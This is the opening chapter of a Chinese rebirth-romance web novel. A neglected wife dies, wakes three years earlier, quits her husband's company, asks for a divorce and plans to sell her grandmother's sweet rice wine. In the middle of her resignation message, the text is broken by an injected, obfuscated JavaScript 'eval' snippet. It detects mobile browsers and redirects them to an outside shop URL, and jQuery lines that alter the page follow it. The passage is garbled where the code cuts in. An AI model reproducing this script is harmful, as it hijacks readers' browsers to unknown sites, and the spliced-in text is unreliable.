第一章：葬礼上的领悟
王慕青的葬礼，冷清得像十二月的垃圾桶。
寒风刮过墓园，秃树枝抖得跟手机震动模式似的。来了七八个人，站得离墓穴八丈远，低头刷手机的频率比哀悼的频率高——不知道的还以为这儿是5G信号测试点。
没有亲人。母亲三年前病逝后，她在这世上就彻底成了“孤儿寡……哦，寡不了，有丈夫。”
她的丈夫，海安科创集团董事长梁海安，此刻正站在墓园入口处打电话。黑色西装笔挺得像刚从包装盒里拆出来，侧脸线条硬得能划破冬日的灰白天空。
“合同条款第三项修改……对，让他们让步。”
王慕青飘在半空，看着自己的骨灰盒被工作人员像放快递一样放入坑中。这视角挺新奇——她死了，但意识还在，像开了上帝模式观看自己的结局直播。
“慕青也太惨了，一个人去医院就出事了……”
“听说梁总那天本来要陪她，结果有个跨国会议。啧啧。”
两个女同事的窃窃私语精准传入灵魂形态的耳朵。王慕青想给她们点个赞：八卦传得比公司内部通知快多了。
她想起那天。高烧三十九度五，头晕得像坐了十圈过山车。给梁海安打了三个电话：第一个他没接，第二个他说“在开会”，第三个他语气已经像在训下属：“王慕青，你是成年人，自己去医院不行吗？”
然后她就听话地去了。
然后就被一辆失控的货车撞了。
然后就飘在这儿了。
“梁总好像也没多伤心啊。”
“商业联姻呗，能有什么感情？听说他心里一直有白月光，海外分公司那个林徽……”
王慕青闭了闭眼——如果灵魂有眼的话。
所有人都认为是商业联姻。连梁海安大概也这么觉得。
只有她自己知道，不是的。
她爱他。从十六岁在高中校园里第一次见到那个穿着白衬衫、在主席台上发言的少年开始，就像中了毒似的爱了整整十年。
十年暗恋，三年婚姻，她活得像个人形背景板——还是那种会自己充电、自动维护、从不添麻烦的智能型背景板。
结婚那天，母亲拉着她的手说：“青青，梁家是高门大户，嫁过去要懂事，别总想着情啊爱的。”
她点头，心里的小人却在放烟花：我终于嫁给他了！
新婚夜，梁海安醉醺醺回来倒头就睡。她坐在床边看了一整夜，觉得这张帅脸能下饭。
第一年，她学做他喜欢的菜，虽然他一个月回家吃饭的次数比流星雨还稀有。
第二年，她辞了喜欢的设计工作，进他公司当小职员。他说：“这样也好，在公司能随时找到你。”——后来她才明白，是“随时能使唤你”。
第三年，母亲病重，她请假回老家照顾两个月。回来后发现，梁海安把她的东西从主卧搬到了客房。理由是：“你晚上总翻身，影响我休息。”
她居然还笑着道歉：“是我睡相不好。”
现在飘在空中回想，王慕青真想给过去的自己一巴掌：醒醒，你那是睡相问题吗？你那是存在都成问题！
葬礼仪式草草结束，工作人员开始填土。梁海安终于打完电话走过来，脸上表情跟看财务报表差不多——平静中带着点不耐烦。
特助小声提醒：“梁总，下午三点和瑞风资本的会议……”
“知道。”梁海安转身要走。
“梁总，”行政部小张跑过来，“这是从太太遗物里整理出来的铁盒子，您要不要……”
梁海安皱眉接过盒子，动作幅度暗示着“这破事耽误我多少钱”。
他打开。
最上面是本相册。梁海安随手翻开。
第一张：高中校运会，他在跑道上冲刺。看台上一个模糊身影被红笔圈出，旁白：“今天他跑了第一名，真厉害——2009.10.23”
第二张：大学开学典礼，他作为新生代表发言。台下同一个身影，同一个红圈：“和他考上了同一所大学！虽然他在经管系我在设计系……2009.9.1”
第三张、第四张……全是偷拍的他。图书馆的他，篮球场的他，毕业典礼的他。
梁海安翻页的速度从“刷”变成了“翻”，最后变成了“揭”。
相册最后几页是他们结婚后的照片。很少，都是偷拍——他在书房工作，他在餐桌看报，他睡着的样子。
每张下面都有日期和话：
“今天他回家吃饭了！做了清蒸鱼，他说‘还行’——2020.6.7”
“他感冒了，煮了姜茶，他喝了一口就放下了——2021.1.15”
“结婚一周年，他忘了。没关系，我记得就好——2021.5.20”
梁海安的手指停在最后一页。
空白页上只有一行字，墨迹很新：
“梁海安，我爱你十年，嫁给你三年，累了。下辈子，不想再遇见你了。”
风突然大作，吹得相册哗哗响。
梁海安站着没动。
特助又凑过来：“梁总，时间……”
“滚。”
轻轻一个字，特助吓得退后三步。
梁海安继续翻盒子。下面是一沓诊断书——重度抑郁症，时间跨度两年。他从来不知道。
还有半瓶安眠药。
最底下，一个信封。抽出来，是一张签好字的离婚协议书。
日期：她死前一周。
条款简单得像在开玩笑：她什么都不要，只要求解除关系。
王慕青飘在空中，看着梁海安拿协议书的手开始抖。
他的脸还是没表情，但脖颈青筋突得像要爆出来。
“为什么？”他低声问，不知道问谁。
然后他笑了，笑得讽刺：“王慕青，你以为这样就能引起我注意？玩这种把戏？”
他把协议书塞回信封，扔回盒子，转身大步离开。风把他的声音吹散：
“她会回来的。迟早。”
王慕青看着他的背影，忽然笑出声——如果灵魂能笑的话。
是啊，以前的她，无论受了多少冷落，只要他一个电话，就会像被按了回旋镖按钮似的立刻飞回去。
但现在不会了。
因为她死了。
意识开始模糊，四周景象像融化的油画。王慕青感到一股巨大的吸力——
再见了梁海安。
下辈子，真的别再见了。
***
黑暗。
然后是无边的疼痛。
王慕青猛地睁眼，剧烈咳嗽起来，肺部火辣辣地疼。
“慕青？醒了？”
熟悉的声音。
她艰难转头，看见了梁海安的脸——年轻了几岁的梁海安，眉头紧皱坐在病床边，手里拿着手机。
“医生说你肺炎严重，得住院几天。”他一边说一边打字，“公司给你请了一周假。这几天你自己注意，我可能没时间过来。”
王慕青呆呆看着他。
白色天花板，消毒水味道，手背上的输液针。
这不是墓园。
这是医院。
她抬手摸脸——温热的，有弹性的。
她还活着。
“我在跟你说话，听见没有？”梁海安抬头，语气不耐，“上次让你做的项目报告，发我邮箱了吗？”
王慕青张嘴，喉咙干涩发不出声。
梁海安看手表，起身：“我得走了，下午有重要谈判。护工请好了，费用公司报销。你好好休息。”
走到门口，他回头补充：“对了，林徽下周回国，有接风宴，你准备一下，别像上次穿得那么随便。”
门关上。
王慕青躺在病床上，看着输液管里一滴一滴的液体，突然笑出声。
笑着笑着，眼泪流下来。
她想起来了。
这是三年前，她二十七岁那年。连续加班一个月得了肺炎住院。
梁海安来了三次，每次不超过二十分钟——跟探监似的准时且短暂。
林徽，他青梅竹马的白月光，正要从海外调回总部。
一切还没走到最糟。
她还没签离婚协议。
还没死于车祸。
还没在葬礼上看着他冷漠离开。
王慕青擦掉眼泪，摸到床头柜上的手机。
指纹解锁。
屏幕显示：2023年3月12日。
真的回来了。
回到了一切还可以重选的时候。
护士推门进来换药，看到她睁着眼，笑说：“王小姐醒啦？你先生走时特地嘱咐好好照顾你呢，真贴心。”
贴心？
王慕青扯扯嘴角。
以前的她，确实会因为这句“嘱咐”甜蜜半天，像中了彩票。
但现在——
“护士，”她开口，声音沙哑但清晰，“借我纸笔。”
“你要写什么？我帮你。”
“不用，自己来。”
护士拿来便签纸和圆珠笔。王慕青坐起身，靠在枕头上，一笔一划写：
**辞职信**
**致人力资源部：**
**本人王慕青因个人原因申请辞职，即日起生效。**
**此致**
**敬礼**
**申请人：王慕青**
**2023年3月12日**
写完，她拍照，打开微信，找到置顶的、备注为“海安”的对话框。
上次记录停在三天前：
她：“我发烧了，好难受”
他：“多喝水”
王慕青把辞职信照片发过去，然后打字：
“梁总，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177356|196920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
辞职信已提交。工作交接病好后一周内完成。另，林徽接风宴我不参加了，祝你们玩得愉快。”
点击发送。
然后，她找到通讯录，把“海安”改回“梁海安”。
取消置顶。
拉进“消息免打扰”分组。
做完这一切，她把手机放到一边，重新躺下。
窗外，一只麻雀落在窗台上，歪头朝里看了看，扑棱棱飞走。
王慕青闭上眼睛。
这一次，她要为自己活。
从……卖甜酒开始。
等等，为什么是甜酒？
她突然想起外婆。那个总是系着蓝布围裙、在小院里酿甜酒的小老太太。小时候，她总趴在灶台边看外婆忙活，空气里满是甜糯的香气。
外婆说：“青青啊，这甜酒就像人生，要慢慢发酵，急不得。但发酵好了，又甜又暖，能醉人。”
后来外婆走了，配方留给了她。再后来，她为了“配得上梁太太的身份”，把那些瓶瓶罐罐都收了起来，再没碰过。
王慕青睁开眼，摸过手机，打开计算器。
存款：八万七千六百五十三元二角——三年婚姻里她自己的积蓄，梁海安给的家用她都存着没动，像在维持某种可笑的自尊。
租个小铺面：首付三万。
设备材料：两万。
启动资金够了。
她打开备忘录，开始打字：
**“慕青甜酒铺”创业计划**
**1.主打外婆传的桂花甜酒酿、玫瑰米酒**
**2.线上小程序+线□□验店**
**3.目标客户：都市年轻女性、养生党**
**4.Slogan：一杯甜酒，暖胃更暖心（暂定）**
正写得投入，手机震了。
梁海安来电。
王慕青看着屏幕上跳动的名字，第一次没觉得心跳加速，反而想笑。
她按下接听，打开免提，把手机放在枕边。
“王慕青，你什么意思？”梁海安的声音压着火，“辞职信？开玩笑也要有个限度。”
“没开玩笑。”她声音平静，“梁总，我肺炎挺重的，医生说需要长期休养。公司事务我胜任不了，就不占着位置了。”
电话那头沉默了三秒。
“因为林徽？”梁海安突然问，语气里居然有几分……自以为是的了然，“我说了那是工作应酬，你没必要这样闹。”
王慕青差点笑出声。
“梁海安，”她第一次连名带姓叫他，“跟林徽没关系。我只是想通了，人该为自己活一次。”
“你——”梁海安似乎被她的语气惊到，“你到底怎么了？烧糊涂了？”
“可能吧。”王慕青看着天花板，“烧了一场，看清了很多事。对了，离婚协议书我会重新拟一份，这周内发你。放心，我什么都不要。”
“王慕青！”梁海安的声音终于有了波动，“你知不知道自己在说什么？！”
“很清楚。”她顿了顿，“比过去十年都清楚。”
挂断电话，拉黑号码。
一气呵成。
王慕青长长吐出一口气，觉得肺部都没那么疼了。
护士又探头进来：“王小姐，你先生刚才打电话到护士站，问你是不是发烧把脑子烧坏了……”
“他怎么说的？”王慕青挑眉。
“他说……‘我太太可能精神不太稳定，你们多留意’。”
王慕青笑了，笑得前仰后合，笑得咳嗽起来，笑得眼泪又出来了。
“护士姐姐，”她边笑边说，“帮我转告梁先生：我脑子从来没这么清醒过。还有——”
她眨眨眼：
“告诉他，我要去卖甜酒了。如果他将来想喝，可以打八折。前夫优惠。”
护士一脸茫然地走了。
王慕青躺回床上，打开手机相册，翻到最深处。
那里存着外婆酿甜酒的照片，还有发黄的配方手稿。
她放大照片，看着外婆慈祥的笑脸，轻声说：
“外婆，我要把你的甜酒卖遍全城。”
窗外，阳光刺破云层，照进病房。
明晃晃的，像崭新的开始。
而此刻，海安科创大厦顶层办公室里，梁海安盯着被挂断的手机，眉头皱得能夹死苍蝇。
特助小心翼翼：“梁总，下午的会议……”
“取消。”梁海安站起身，走到落地窗前，“去查查，王慕青最近接触了什么人。”
他不信。
不信那个对他唯命是从、看他如神祇的王慕青，会真的离开。
她一定会回来。
像以前每一次那样。
但他不知道，这一次，飞走的鸟不会再回笼。
它要去酿自己的甜酒了。
又甜又烈，醉人得很。